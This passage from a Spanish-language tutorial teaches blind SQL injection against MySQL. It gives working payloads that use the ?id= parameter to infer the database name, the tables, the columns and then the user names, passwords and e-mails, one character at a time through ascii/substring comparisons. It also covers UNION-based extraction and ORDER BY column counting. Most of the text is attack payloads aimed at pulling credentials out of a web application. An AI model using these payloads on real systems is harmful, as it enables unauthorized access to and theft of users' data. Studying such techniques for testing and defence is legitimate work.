?id=1 and ascii((select upper(substring(name, 1, 1)) from user where id=1))>77 // 77 es el ascii de la letra M
Ya tenemos la forma de averiguar los caracteres que componen a una dada palabra. Parece bastante complejo, pero uno se acostumbra y es fácil de automatizar con scripts.


Obtengamos los nombres de las tablas de a letras

Existen consultas que nos permiten ir a lo seguro. En lugar de intentar adivinar el nombre de las tablas, podemos ejecutar consultas para que nos retornen el nombre de las tablas y de los campos a partir de diferentes funciones. Este método lleva bastante tiempo, pero se puede automatizar fácilmente con scripts.

Para obtener el nombre de las tablas utilizaremos la base de datos central de MySQL, que contiene información sobre todas las otras bases de datos administradas por el servidor. Esta base de datos se llama information_schema. La tabla que nos interesa de esta base de datos se llama tables. Esta incluye todas las tablas que existen en la base de datos.
Dependiendo el usuario que estemos utilizando para realizar la consulta, MySQL nos retornará solamente los nombres de tablas que el usuario tiene permitido ver, generalmente las de sus bases de datos.
La consulta que necesitamos hacer entonces es la siguiente:
SELECT table_name FROM information_schema.tables
El problema es que esta consulta retorna muchos nombres dependiendo los accesos del usuario. Si el usuario es root, nos retornará absolutamente todas las tablas que existen en el server. Para poder filtrar los resultados y obtener los nombres de la base de datos que deseamos, primero tenemos que averiguar el nombre de la base de datos. Esto lo haremos con la función database().
Como vimos en la sección anterior, podemos averiguar la longitud del nombre y luego consultar letra por letra hasta obtener la palabra completa. Las consultas tendrán el siguiente formato:
?id=1 and (select length((select database())))=4 //averiguamos la longitud
?id=1 and ascii(upper(substring((select database()), 1, 1)))>77 //la primer letra es mayor a M?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>83 //mayor a S?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>86 //mayor a V?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>84 //mayor a T?
?id=1 and ascii(upper(substring((select database()), 1, 1)))=84 //eureka! (recuerden que el nombre de la base de datos es test)
?id=1 and ascii(substring((select database()), 1, 1))=84 //no es T, así que debe ser t
Al igual que antes, el resto de los caracteres los obtenemos de la misma forma, pero utilizando substring((select database()), 2, 1), substring((select database(), 3, 1), etc.

Ahora que contamos con el nombre de la base de datos, podemos armar las consultas para averiguar las tablas de dicha base de datos. La consulta para obtener las tablas ahora se puede modificar de la siguiente forma:
SELECT table_name FROM information_schema.tables WHERE table_schema='test'
con la cual obtenemos sólo las tablas de la base de datos 'test'. La consulta se va a poner un poco compleja en este punto, pero si siguen los pasos la van a entender bien.
Como el resultado que obtendremos contiene varias tablas, si queremos averiguar los nombres de cada una, debemos limitar la consulta para que retorne las tablas de a una. Esto en MySQL se puede hacer con la cláusula LIMIT <ini,offset>, la cual limita el número de filas retornadas. Por ejemplo, "LIMIT 0,1" retorna la primer fila (inicia en 0 y retorna 1 fila), "LIMIT 1,1" retorna sólo la segunda fila (inicia en 1 y retorna una fila), etc.
La consulta anterior refinada con la cláusula LIMIT para obtener de a una fila sería entonces:
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 1,1
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 2,1
etc...
Obteniendo sólo el nombre de una tabla, podemos aplicar el método ya conocido para obtener las letras de a una por vez. Así entonces para consultar por la primer letra de la primer tabla, generaríamos lo siguiente:
?id=1 and ascii(upper(substring((select table_name from information_schema.tables where table_schema='test' limit 0,1), 1, 1)))>77 //consultamos por la letra M
para obtener la tercer letra de la segunda tabla:
?id=1 and ascii(upper(substring((select table_name from information_schema.tables where table_schema='test' limit 1,1), 3, 1)))>77
interesante no?

Ok, ya tenemos la forma de averiguar las tablas, ahora nos falta saber el nombre de las columnas de las tablas (parece un trabajo de nunca acabar!). La metodología es igual a la anterior, dado que los nombres de las columnas están contenidos en la tabla columns de la base de datos information_schema. La consulta a realizar en este caso es:
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='content' //donde content es el nombre de la tabla (que obtuvimos en el paso anterior), y table_schema es el nombre de la base de datos.
Claro que esta consulta devuelve el nombre de todas las columnas, así que una vez más podemos usar la cláusula LIMIT
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='content' LIMIT 0,1
Ufff, cómo decía Bender en la peli Futurama: Bender's Big Score: "I bet it's going to get even more confusing", porque juntando esta consulta con la necesaria para obtener las letras de la primer columna de la primer tabla se forma lo siguiente:
?id=1 and ascii(upper(substring((select column_name from information_schema.columns where table_schema='test' and table_name='content' limit 0,1), 1, 1)))>77
sweet!
Lo mismo para obtener todas las otras letras del nombre de la columna, y luego para obtener el nombre de las otras columnas, y así siguiendo.


Obtengamos esos valiosos registros

Apuesto a que en este punto están bastante mareados... yo ya estoy mareado explicándolo, así que no me imagino lo que debe ser leerlo. Respiren ondo, tomense su tiempo, relean lo anterior si es necesario (vallan al baño si tienen ganas) y continuemos.
Ahora que tenemos los nombres de las tablas que nos interesan (en mi caso la tabla user), y sabemos el nombre de las columnas que deseamos (user, pass), ya podemos obtener el contenido de los registros. Luego de lo que tuvimos que pasar para llegar hasta aca, lo que viene es relativamente fácil.
Primero obtengamos el nombre de usuario con la consulta:
SELECT user FROM user WHERE id=1
que en nuestro blind se traduce a:
?id=1 and (select(length((select user from user where id=1))))=13
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>77 //mayor a M?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>71 //mayor a G?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>67 //mayor a C?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))=68 //igual a D? yeah!
?id=1 and ascii(substring((select user from user where id=1), 1, 1))=68 //no es D así que es d
Sip, el procedimiento se repite una y otra vez. Como siempre, el resto de las letras sale con substring((select user from user where id=1), 2, 1), etc.
Lo mismo hacemos con el campo pass. Las consultas serán iguales pero cambiando el nombre del campo:
?id=1 and ascii(upper(substring((select pass from user where id=1), 1, 1)))>77
De esta misma forma se puede obtener cualquier registro de cualquier tabla a la que tengamos acceso. Una vez que tenemos la información inicial, todo esto sale bastante fácil... aunque de forma muuuuy laboriosa y repetitiva.

Si deseamos averiguar e-mails podemos mejorar la consulta infiriendo si es de hotmail, yahoo o gmail. Sabemos que hotmail.com tiene 11 caracteres, que yahoo.com tiene 9, yahoo.com.ar tiene 12 y gmail.com tiene 9, por lo que podemos averiguar si el @ (cuyo ascii es 64) está en la posición length - 11, o length - 9, o length - 12.
Por ejemplo, si en la tabla está el e-mail pepe@hotmail.com, el tamaño de esta dirección es 16, por lo que si el e-mail es de hotmail, el @ estará en la posición 5 (16 - 11), si es de yahoo.com o gmail.com estará en la posición 7 (16 - 9), y si es de yahoo.com.ar estará en la posición 4 (16 - 12). Las consultas que nos dan estos datos son:
?id=1 and (select(length((select email from user where id=1))))=16
?id=1 and ascii(substring((select email from user where id=1), 5, 1))=64
ya sabiendo dónde está el @, sabemos el tamaño del username, el cual en este caso es 4, y así restringimos la cantidad de caracteres a consultar. El nombre del servidor de e-mail lo sacamos con los primeros caracteres que siguen al @, como ser:
?id=1 and ascii(substring((select email from user where id=1), 6, 1))=72 //buscamos la H de HOTMAIL


Optimizaciones

Está claro que todo el trabajo anterior requiere de muchísimo tiempo. Conociendo la receta no es complejo, pero requiere tanto tiempo que resulta molesto. Por ello existen muchos programas que automatizan el funcionamiento. Algunas herramientas que pueden encontrar interesantes son:
- sqlmap
- SQLInjector

Además podemos inferir muchos datos a partir de algunas letras. Por ejemplo, si las 3 primeras letras de una columna son usu y el tamaño de la palbra es 8, es casi seguro que la palabra buscada es usuario y no necesitamos averiguar todos los caracteres.

Por supuesto que ustedes pueden automatizar el proceso creando sus propios scripts adaptados para la aplicación que desean explotar. Los lenguajes de script son sus amigos, pueden usar perl, python, ruby, php o incluso bash.


UNION te puede salvar la vida

Si bien el objetivo de este artículo era explicar blind sql injection, no quiere decir que los datos anteriores no se pudieran obtener de otras formas que requieran menos trabajo, como utilizando la cláusula UNION. Por ejemplo, para obtener el nombre de la base de datos podríamos haber realizado la siguiente consulta:
?id=-1 union all select 1,database(),1
con lo que nos ahorramos de buscar el nombre letra por letra.
Como expliqué hace un tiempo en el artículo Reflected XSS a través de SQL Injection, UNION nos permite unir los resultados de una consulta con los resultados de otra consulta, siempre y cuando ambas consultas tengan como resultado la misma cantidad de columnas. Si utilizamos sólo UNION, las columnas a unir deben ser del mismo tipo, pero si en cambio aprovechamos UNION ALL, podemos utilizar distintos tipos.
La cantidad de columnas de la consulta la podemos obtener de dos formas: probar consultas arbitrarias con UNION hasta que nos da un resultado válido, o utilizar la función ORDER BY. ORDER BY nos permite organizar los resultados por columna, así que si le especificamos un valor de columna mayor al posible, obtendremos un error. Por ello, podemos ir reduciendo el valor de ORDER BY hasta que tengamos una consulta válida, o bien incrementar desde 1 hasta que tengamos una inválida. En el ejemplo anterior, las consultas de prueba podrían ser:
?id=1 order by 2
?id=1 order by 3
?id=1 order by 4 //da false por lo que sabemos que la cantidad es 3
Obtener los datos con consultas UNION es muchísimo más rápido, aunque igualmente a veces necesitamos del blind para obtener ciertos datos como los nombres de las tablas y columnas. Por ello podemos usar un mix y tener lo mejor de ambas técnicas.


Final

Como habrán podido observar a lo largo del artículo, para realizar blind sql injection no necesitamos ser Jedis, aunque si necesitamos paciencia de Jedi. Obtener los datos es algo laborioso, pero es posible. También se darán cuenta que esconder los errores arrojados por la base de datos a los usuarios NO elimina la posibilidad de injección. Si, es un poco más costoso, pero igualmente factible.

La explicación se basó en bases de datos MySQL, pero con un simple cambio en las funciones y las tablas utilizadas, podría escribir un artículo idéntico para MS SQL. Cuando encuentre el tiempo necesario, escribiré algún artículo mostrando las funciones necesarias en MS SQL para realizar el mismo ataque.


Referencias

- Blind MySQL Injection - Técnicas de inyección a ciegas en MySQL (ka0x)
- Blind SQL Injection - Are your web applications vulnerable? (Kevin Spett)
- SQL Injection Cheat Sheet